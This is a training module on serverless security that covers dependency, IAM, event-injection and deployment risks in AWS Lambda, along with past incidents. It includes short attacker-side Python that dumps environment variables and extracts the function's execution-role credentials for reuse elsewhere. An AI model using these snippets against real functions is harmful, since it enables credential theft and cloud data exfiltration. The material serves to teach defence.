Module 6 · Serverless — New Surface, Not Smaller Surface 🔒

Serverless (AWS Lambda, Azure Functions, GCP Cloud Functions, Cloudflare Workers) was marketed as “simpler security” — no OS to patch, no server to harden, shorter attack surface. Reality: the attack surface is different, not simpler. You’re responsible for dependency security, IAM for function execution, input validation for event sources, and secret handling. The platform guarantees are narrower than developers assume.

What serverless doesn’t eliminate

• Dependency vulnerabilities. Your Lambda still imports packages from npm/pip/etc. Vulnerable deps still exploitable.
• IAM misconfigurations. Lambda’s execution role is the function’s identity for cloud access. Over-permissioned role = over-privileged function.
• Event source injection. Lambda triggered by S3 upload, SNS message, API Gateway request. Every event source = potential injection vector.
• Secrets in environment variables or code — readable by anyone with function config access.
• SSRF within function can still reach IMDS (Lambda doesn’t expose IMDS to code by default, but attackers find ways).

Lambda-specific attacks

# Over-permissioned Lambda execution role
# Lambda role has S3:* + DynamoDB:* + Secrets Manager:*
# If attacker achieves RCE via dependency vuln or event injection:

# Dump environment variables (often contain secrets)
import os; print(os.environ)

# Steal execution role credentials via boto3
import boto3, json
session = boto3.Session()
creds = session.get_credentials().get_frozen_credentials()
print(json.dumps({
    'access_key': creds.access_key,
    'secret_key': creds.secret_key,
    'token': creds.token
}))

# Use credentials from attacker's system to access AWS
# Valid for ~15 minutes (Lambda default)
# In 15 minutes: dump S3, DynamoDB, Secrets Manager

Event source injection

# Lambda triggered by S3 upload
# Function expects event['Records'][0]['s3']['bucket']['name'] — trusts structure

# Attacker uploads to S3 with crafted metadata; Lambda processes blindly
# If Lambda constructs shell command with filename: command injection
# If Lambda parses XML: XXE
# If Lambda runs ML inference on file: malicious input triggers RCE in library

# Same patterns for SNS, SQS, API Gateway, EventBridge
# Event structure trusted → injection point

Deployment pipeline risks

Developer has permission to update Lambda function code. Attacker compromises developer laptop → updates function → next invocation runs attacker code with function’s IAM role. Supply-chain attack scaled down to single function.

Real incidents

• Denonia (2022): First Linux malware targeting Lambda specifically. Cryptominer in compromised container.
• 2023-2024 supply chain: compromised npm packages installed as Lambda dependencies; persistent access via periodic invocation.
• Public CTFs/bug bounties routinely show IAM over-permission in Lambda functions exploitable via SSRF or dep vulns.

Cold start observation

Lambda containers are reused between invocations (warm start). Attacker’s modifications to /tmp persist until container recycled. Stateless claim is partial.